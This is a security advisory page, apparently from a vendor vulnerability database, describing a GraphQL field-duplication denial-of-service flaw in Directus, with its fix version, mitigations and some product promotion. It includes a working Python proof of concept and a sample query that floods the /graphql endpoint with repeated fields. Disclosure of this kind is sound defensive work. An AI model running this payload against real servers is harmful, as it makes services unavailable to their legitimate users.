GHSA-7hmh-pfrp-vcx4
MEDIUMDirectus GraphQL Field Duplication Denial of Service (DoS)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@directus/envnpmDescription
Summary
A denial of service (DoS) attack by field duplication in GraphQL is a type of attack where an attacker exploits the flexibility of GraphQL to overwhelm a server by requesting the same field multiple times in a single query. This can cause the server to perform redundant computations and consume excessive resources, leading to a denial of service for legitimate users.
Details
Request to the endpoint /graphql are sent when visualizing graphs generated at a dashboard:
By modifying the data sent and duplicating many times the fields a DoS attack is possible.
PoC
The goal is to create a payload that generates a body like this, where the 'max' field is duplicated many times, each with the 'id' field duplicated many times inside it.
{'query': 'query { query_4f4722ea: test_table_aggregated { max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } max {id id id id id id id id id id } } }'}
Although that payload seems harmless, a bigger one leaves the service unresponsive.
The following code might serve as a PoC written in Python3:
# GitHub @asantof
import requests
## CHANGE THIS VALUES: url, auth_token, query_name, collection_name
url = 'http://0.0.0.0:8055/graphql'
auth_token = ''
query_name = 'query_XXXXX'
collection_name = ''
headers = {
'Content-Type': 'application/json',
'Authorization': f'Bearer {auth_token}',
}
id_payload = 'id ' * 200
max_payload = 'max {' + id_payload + ' } '
full_payload = max_payload * 200
data = {
'query': 'query { ' + query_name + ': ' + collection_name + '_aggregated { ' + full_payload + ' } }'
}
print(data)
response = requests.post(url, headers=headers, json=data)
print(response.json())
After running it the service will be unresponsive for a while:
Impact
The vulnerability impacts the service's availability by causing it to become unresponsive for a few minutes. An attacker could continuously send this request to the server, rendering the service unavailable indefinitely.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @directus/env | all versions | 1.1.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @directus/env. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update @directus/env to 1.1.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7hmh-pfrp-vcx4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7hmh-pfrp-vcx4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7hmh-pfrp-vcx4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7hmh-pfrp-vcx4 in your dependencies?
O3 detects GHSA-7hmh-pfrp-vcx4 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.